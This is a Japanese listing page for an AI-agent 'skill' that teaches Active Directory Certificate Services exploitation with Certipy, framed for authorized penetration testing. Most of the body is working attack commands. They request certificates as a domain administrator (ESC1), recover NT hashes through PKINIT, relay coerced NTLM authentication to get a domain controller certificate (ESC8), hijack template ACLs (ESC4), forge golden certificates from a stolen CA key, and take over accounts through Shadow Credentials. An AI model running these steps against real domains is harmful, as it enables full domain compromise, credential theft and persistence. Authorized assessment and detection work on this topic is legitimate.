exploiting-adcs-with-certipy について
Microsoft Active Directory Certificate Services を Certipy で評価する、許可されたテスト向けのセキュリティスキルです。列挙、ESC 設定不備の検証、証明書認証、調査結果の記録を扱います。
主な機能
- 01CA とテンプレートの列挙
- 02ESC1~ESC16 の設定不備特定
- 03証明書の要求と認証
- 04NTLM リレーシナリオの検証
- 05発見事項と修正策の記録
活用シーン
- 01侵入テストでの AD CS 評価
- 02証明書テンプレートと CA の設定確認
- 03証明書による権限昇格の検知テスト
- 04パープルチーム演習用テレメトリーの生成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-adcs-with-certipyインストール後、Claude Code で/exploiting-adcs-with-certipyを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
Certipy を使った AD CS の悪用
法的通知: このスキルは、認可されたセキュリティテストおよび教育目的のみを想定しています。Active Directory 証明書サービスへの攻撃は、ドメイン全体の完全な侵害につながる可能性があります。所有している、または明示的な書面による許可を得てテストする対象に対してのみ、これらの手法を実行してください。許可のない使用は、コンピューター不正使用に関する法律に基づき違法です。
概要
Active Directory 証明書サービス (AD CS) は、Windows ドメイン内で認証、暗号化、署名に使用する証明書を発行するための Microsoft の公開鍵基盤 (PKI) の役割です。SpecterOps の研究者である Will Schroeder 氏と Lee Christensen 氏は、2021 年のホワイトペーパー Certified Pre-Owned において、一連の権限昇格プリミティブを文書化し、それらを ESC1 から ESC8 と名付けました。その後、コミュニティによってカタログは ESC16 まで拡張されています。特権を持つプリンシパルにマッピングされる証明書は PKINIT Kerberos 認証に使用できるため、そのような証明書を入手した攻撃者は、パスワードを知らなくても、ドメイン管理者またはドメインコントローラーとして認証できます。さらに、この証明書はパスワードをリセットした後も有効なままです。
Certipy (パッケージ certipy-ad、メンテナーは Oliver Lyak 氏 / ly4k) は、AD CS 向けの事実上の標準的な攻撃用ツールキットです。LDAP/RPC 経由で証明機関とテンプレートを列挙し、証明書の要求と偽造を行い、PKINIT/Schannel 認証を実行し、Shadow Credentials 攻撃を実行し、強制された NTLM 認証を AD CS の HTTP および RPC 登録エンドポイントへリレーできる、純粋な Python ツールです。Certipy は ESC1 から ESC16 までの全範囲にわたる検出と悪用に対応しており、AD CS 評価における主要なツールとなっています。出典: ly4k/Certipy および SpecterOps "Certified Pre-Owned"。
使用するタイミング
- AD CS が対象範囲に含まれる、内部ペネトレーションテストおよびレッドチーム演習中
- 権限の低いドメインへの足がかりから、ドメイン管理者 / ドメインコントローラーへの経路が必要な場合
- 証明書テンプレートの ACL と CA 構成が強化されているかを検証する場合
- 証明書ベースの権限昇格に対する検知カバレッジをテストする場合
- ブルーチームのチューニング用に ESC1/ESC8 のテレメトリを生成する、パープルチーム演習中
前提条件
- AD CS の悪用が明示的に含まれている、認可された演習範囲
- 足がかり: 権限の低い任意のドメインユーザーの有効なドメイン資格情報 (パスワード、NT ハッシュ、または Kerberos チケット)
- ドメインコントローラー (LDAP/389、LDAPS/636) および CA ホストへのネットワーク到達性
- Python 3.10 以上 (Certipy 5.x は Python 3.12 以上が必要) と Linux 攻撃ホスト
- Certipy のインストール:
# Recommended isolated install pipx install certipy-ad # Or with pip pip install certipy-ad # Verify certipy --version - ESC8 リレーの場合は、強制認証ツール (Coercer/PetitPotam) と、到達可能な被害マシンアカウントも必要です
目的
- フォレスト内のすべての CA、テンプレート、登録エンドポイントを列挙する
- 現在のプリンシパルから悪用可能な ESC1 から ESC16 の設定不備を特定する
- 特権を持つ対象になりすまして証明書を要求する (ESC1 SAN 悪用)
- 強制された認証を AD CS の Web 登録にリレーし、DC 証明書を取得する (ESC8)
- 発行された証明書または偽造した証明書で認証し、TGT と NT ハッシュを取得する
- 各検出事項を証拠と修復ガイダンスとともに文書化する
MITRE ATT&CK マッピング
| ID | 手法 | 本スキルでの適用 |
|---|---|---|
| T1649 | Steal or Forge Authentication Certificates | 特権プリンシパルとして認証するために、AD CS 証明書 (ESC1-ESC16) を要求、偽造、悪用する |
ワークフロー
ステップ 1: certipy find による AD CS の列挙
CA とテンプレートの構成を収集し、脆弱なテンプレートを特定します。find は LDAP および RPC クエリを実行し、JSON、BloodHound 互換の ZIP、人間が読めるテキストレポートを生成します。
# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -text -enabled -hide-admins
# Output only templates Certipy considers vulnerable
certipy find \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -vulnerable -stdout
# Authenticate with an NT hash instead of a password
certipy find -u '[email protected]' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
-dc-ip 10.0.0.100 -vulnerable -stdout
出力の [!] Vulnerabilities ブロックを確認します。各検出事項には、影響を受けるテンプレートまたは CA 名とともに ESC1...ESC16 のラベルが付けられています。
Step 2: ESC1 の悪用 — 申請者指定のサブジェクト(SAN の悪用)
ESC1 テンプレートでは、権限の低い申請者が任意の Subject Alternative Name を指定でき、クライアント認証 EKU も含められます。特権ユーザーの UPN を指定して証明書を申請し、対象の SID を固定します(Certipy は 2022 年 5 月以降の強力なマッピングパッチに対応するため、SID 拡張を自動的に追加します)。
certipy req \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnUserTemplate' \
-upn '[email protected]' \
-sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx
Step 3: certipy auth による証明書での認証
発行された PFX を使用して PKINIT を実行し、TGT を取得して対象の NT ハッシュを復元します。
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator
PKINIT が利用できない場合は、Schannel/LDAP 認証にフォールバックします:
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell
Step 4: ESC8 の悪用 — AD CS Web Enrollment への NTLM リレー
ESC8 は、NTLM 認証を受け付ける AD CS の Web 登録インターフェース(/certsrv/)を悪用します。CA の HTTP エンドポイントを対象とする Certipy のリレーサーバーを起動し、その後ドメインコントローラーを強制的にリレーへ認証させます(強制認証の詳細は Coercer スキルで説明しています)。
# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
Certipy は dc.pfx を出力します。DC のマシンアカウントとして認証し、DCSync を実行します:
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
Step 5: ESC4 の悪用 — テンプレート ACL の乗っ取り
テンプレートに対する書き込み権限を持っている場合は、一時的に ESC1 に脆弱な状態へ再構成し、悪用した後に元へ戻します。
# Make the template vulnerable (save the original config first)
certipy template -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
Step 6: ゴールデン証明書の偽造(侵害後の永続化)
CA の秘密鍵(例: バックアップ経由)にアクセスできる場合、任意のプリンシパル向けの証明書をオフラインで偽造できます。
# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u '[email protected]' -hashes :<nthash> \
-ca 'CORP-CA' -dc-ip 10.0.0.100
# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
-upn '[email protected]' \
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
Step 7: Shadow Credentials による近道
対象の msDS-KeyCredentialLink への書き込み権限があれば、Certipy はアカウントを端から端まで乗っ取ることができます(専用の Shadow Credentials スキルを参照してください)。
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim-dc$'
ツールとリソース
| リソース | 目的 | リンク |
|---|---|---|
| Certipy (ly4k) | 主要な AD CS 攻撃ツールキット | https://github.com/ly4k/Certipy |
| Certipy Wiki | コマンドリファレンスと ESC の解説 | https://github.com/ly4k/Certipy/wiki |
| Certified Pre-Owned (SpecterOps) | ESC1-ESC8 の元となった研究 | https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf |
| The Hacker Recipes — AD CS | 攻撃の手順解説 | https://www.thehacker.recipes/ad/movement/ad-cs |
| Impacket ntlmrelayx | 代替の ESC8 リレー | https://github.com/fortra/impacket |
ESC 脆弱性リファレンス
| ESC | 設定ミス |
|---|---|
| ESC1 | 権限の低いテンプレートで、申請者指定のサブジェクト + クライアント認証 EKU |
| ESC2 | 任意の用途 / EKU なしのテンプレートが登録エージェントとして使用可能 |
| ESC3 | 登録が緩く許可されている登録エージェントテンプレート |
| ESC4 | テンプレートへの書き込み権限(ESC1 への乗っ取り) |
| ESC5 | PKI オブジェクト(CA、NTAuthCertificates)への弱い ACL |
| ESC6 | CA の EDITF_ATTRIBUTESUBJECTALTNAME2 により任意の SAN が許可される |
| ESC7 | 危険な Manage CA / Manage Certificates 権限 |
| ESC8 | AD CS HTTP Web 登録への NTLM リレー |
| ESC9 | テンプレートにセキュリティ拡張(szOID_NTDS_CA_SECURITY_EXT)がない |
| ESC10 | 弱い証明書マッピングのレジストリ設定 |
| ESC11 | AD CS RPC(ICertPassage)エンドポイントへの NTLM リレー |
| ESC13 | 特権グループにリンクされた発行ポリシー(OID グループリンク) |
| ESC15 | Application Policies の悪用(CVE-2024-49019、「EKUwu」) |
| ESC16 | CA 全体でセキュリティ拡張が無効化されている |
検証基準
-
certipy find -vulnerableを実行し、悪用可能なテンプレート/ CA の一覧を取得した - 少なくとも 1 つの ESC の設定ミスが、
certipy reqの成功によって確認された -
certipy authが、なりすまし対象の特権アカウントの TGT と NT ハッシュを返した - ESC8 リレー(対象範囲に含まれる場合)によって、ドメインコントローラーの証明書を取得できた
- 変更したテンプレート(ESC4)を元の設定に戻した
- 各所見について、コマンド出力、影響を受けるオブジェクト、および是正策を文書化した
- 発行された証明書と PFX ファイルを安全に取り扱い、診断の終了時に削除した